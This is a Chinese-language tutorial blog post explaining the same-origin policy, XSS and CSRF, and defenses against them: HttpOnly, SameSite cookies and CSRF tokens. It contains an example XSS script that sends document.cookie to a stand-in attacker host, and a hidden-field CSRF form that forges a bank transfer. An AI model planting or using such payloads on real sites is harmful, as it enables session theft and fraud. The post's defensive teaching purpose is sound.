iT邦幫忙

2024 iThome 鐵人賽

DAY 10
0
Software Development

全端實戰心法:小團隊的產品開發大小事系列 第 10

登入系統(五):淺談資訊安全,同源政策及 XSS、CSRF

  • 分享至 

  • xImage
  •  

我們在前面提過 Local Storage 和 Cookies 都是在 Browser 中儲存資料的機制,但若是儲存登入資訊這些比較機密的資料,如果被竊取,不是就能拿著這樣的 token 來裝成我本人,進一步取得我的資訊了嗎?

沒錯,這些登入的機敏資料便如同鑰匙一樣,一旦被人取走就能用來打開你家的大門。所以我們需要做一些預防措施,例如定期更換鑰匙就是最基本的策略,而我們今天會來聊聊其他常見的攻擊和防禦手段。

同源政策,不同 Domain 能互相讀取資料嗎?

當前端的 JavaScript 呼叫 Local Storage 和 Cookies API 的時候,可以取得儲存在 Browser 裡面的資料,那麼我們是否能壞壞的寫一個網站,當使用者瀏覽到這個惡意的網站時,就會自動執行 JavaScript 把所有的 Local Storage 和 Cookies 讀進來,回傳到我們的 Server?

如果這個 User 已經登入了 Google、Facebook 等其他網站,自然會有登入的 token 存在裡面對吧,因此我們是否就能拿著這些 token,用來竊取此用戶的資訊呢?

錯誤的瀏覽器儲存架構
*錯誤的瀏覽器儲存架構

當然是沒辦法的!瀏覽器在實作的過程中,會遵從許多 Policies,例如同源政策(Same-Origin Policy),簡單來說就是避免兩個不同的網站能互相讀取資料,所以依照此政策來實作的 Local Storage 和 Cookies,所儲存的資料便只能在「同源」的頁面中存取。

例如 https://www.one.comhttps://www.two.com 就是兩個不同源的網站,也可說他們的 Domain 不同。但不單單是 Domain 不同才叫做不同源,Origin 的定義還包含 Protocol 及 Port,也就是說 http://a.comhttps://a.com 不同、https://a.com:80https://a.com:8080 也不同。

不同源的網站無法互相讀取資料
*不同源的網站無法互相讀取資料

只有在同源的頁面,才能互相讀取資料,像是 www.one.com/1www.one.com/2 都隸屬於 www.one.com 這個 Origin 底下。

有了 Same-Origin Policy 這個政策,就有了第一道防線,至少我們不用擔心一個惡意網站可以如此輕鬆的讀取你在其他網站的登入資訊。

XSS 跨網站指令碼

不過魔高一尺,就算有了同源政策的守護,還是有其他攻擊的手段。

有一種叫做 XSS(Cross-Site Scripting 跨網站指令碼)的攻擊方式,就可以透過插入一段 Script 來竊取使用者的 Token。

例如有一個存在漏洞的論壇網站,不論用戶在上面做什麼留言,此網站都會將這個留言毫無保留的顯示在畫面上。此時,攻擊者可以留下一段能在 HTML 插入 Script 的內容:

<script>
  var img = new Image();
  var cookieParams = `cookie=${document.cookie}`;
  img.src = `https://evel.com?${cookieParams}`;
</script>

這個包含 Script 的惡意留言如果被成功提交,並且顯示在留言板上能被其他用戶看到,當用戶瀏覽時就會載入這個 Script 所創建的一個 Image Element,包含 Image 的來源位置。

當 Browser 要顯示此 Image 時,就會對此 Source 送出 HTTP GET 來嘗試取得此圖片的資源,但是送出 Request 的目標卻是攻擊者所架設的網站,而且還在 URL 中附帶了瀏覽者的 Cookie,當然也就可能包含登入的 Token。

XSS 留言板攻擊示例
*XSS 留言板攻擊示例

這個例子說明了 XSS 的攻擊方式,透過注入惡意的 Script 來達成竊取機敏資訊,除了留言板之外,只要有可能讓前端渲染使用者輸入的資訊,例如 Search Bar、插入的廣告等等,都有可能被攻擊。

HttpOnly

雖然魔高一尺,但也有道高一丈的防禦手段,例如 HttpOnly 就是對付 XSS 的利器。

上一講(前端如何儲存資訊)提到我們可以在 JavaScript 中使用 document.cookie 得到當前 Domain 的 Cookies,那麼有沒有一種方式可以避免 Script 來讀取 Cookies 呢?

就是 HttpOnly 了!我們可以在後端傳給前端的 Response 中加入 Set-Cookie Header,裡面包含 HttpOnly。這樣一旦瀏覽器收到這個 Response,就會自動把設定的內容寫入 Cookies,並且無法被程式存取。

Set-Cookie: token=5c74a69f; HttpOnly; Path=/; Max-Age=86400;

上述的 Response Header 便是使用者登入的例子,在送出登入 Request 後,由於瀏覽器收到的 Response 發現有 Set-Cookie Header,就會後面的內容存入 Cookie,這邊包含了 token 的具體數值,並且有 HttpOnly 這個 Flag 因而無法被程式直接存取。

而根據瀏覽器上 Cookies 實作,裡面內容會自動被附加到送出的 Request 中,以我們剛剛設定的 Path=/ 來說,所有路徑的 Request 都會包含此 Cookie,也就是我們登入後拿到的 token。

所以我們便不用實際撰寫 JavaScript 讀取 Cookies 中的 Token,而是讓瀏覽器自動附加,等到了後端再把附帶的所有 Cookies 解析出來,找到裡面的 Toekn 進行下一步的驗證。

既然無法透過程式讀取 Cookies,自然也就沒這麼容易被 XSS 所攻擊了。

CSRF 跨站請求偽造

然而,就算使用了 HttpOnly 這個 Flag 可以很大程度地避免 XSS 的攻擊,還有一個常見的攻擊方式不好解決:CSRF(Cross-Site Request Forgery 跨站請求偽造)。

和 XSS 不太一樣的是,CSRF 的攻擊手段並非拿了你的機敏資訊送到攻擊者的網站,而通常是反過來,你進入到釣魚網站,而此釣魚網站幫你在其他已登入的網站做了惡意的操作。

舉例來說,釣魚網站裡面有個表單,Submit 後會向 www.bank.com 送出一個惡意的轉帳攻擊,目標為 evil 這個帳戶,金額 10,000 元。

<form action="https://www.bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="10000">
  <input type="hidden" name="account" value="evil">
  <button type="submit">點我中獎</button>
</form>

假設,此用戶這已經在 bank.com 登入過了,並且在 bank.com 的 Domain 中留有登入用的 token,畢竟是登入的狀態。

那麼當此用戶被釣中,進入到釣魚網站中送出了表單,就會從釣魚網站中送出一個轉帳的 Request 到 bank.com,而且拿的是 bank.com 的 Cookie,含有 token 而最終成為一個合法的 Request,錢也就被轉走了!

CSRF 惡意轉帳攻擊示例
*CSRF 惡意轉帳攻擊示例

SameSite 及 CSRF Token

能夠攻擊成功的前提,主要是 bank.com 這個網站非常的脆弱,因為只要做一些基本的設定就能有效的避免 CSRF 的攻擊。

最簡單的是看看送出 Request 的來源網站是否為 bank.com 自己,如果是從別的網站,例如從 phising.com 送出來一個轉帳的 Request,顯然就是一個不太合理的要求。

我們可以在用戶登入 bank.com 時存入 Cookie 的 token 加上 SameSite Header,如下所示,之後只有當此 Cookie 是在同個 bank.com 的網站上時,送出 Request 才會附帶成功。

Set-Cookie: token=5c74a69f; SameSite=Strict; HttpOnly; Path=/; Max-Age=86400;

另外一個解法是 CSRF Token,其原理是當使用者要做一些安全性比較高的操作之前(如轉帳),後端產生一組隨機的字串丟給 Client,讓 Client 可以繼續操作下去。

像是在轉帳前產生給 Client 有這組隨機字串,轉帳時附帶,而釣魚網站如果想要送出轉帳 Request 時,就會因為沒辦法得到這組隨機字串而無法攻擊成功。


上一篇
登入系統(四):前端如何儲存、送出 Session ID 及 Token?
下一篇
何謂 CORS?網站開發該懂的網路知識
系列文
全端實戰心法:小團隊的產品開發大小事30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言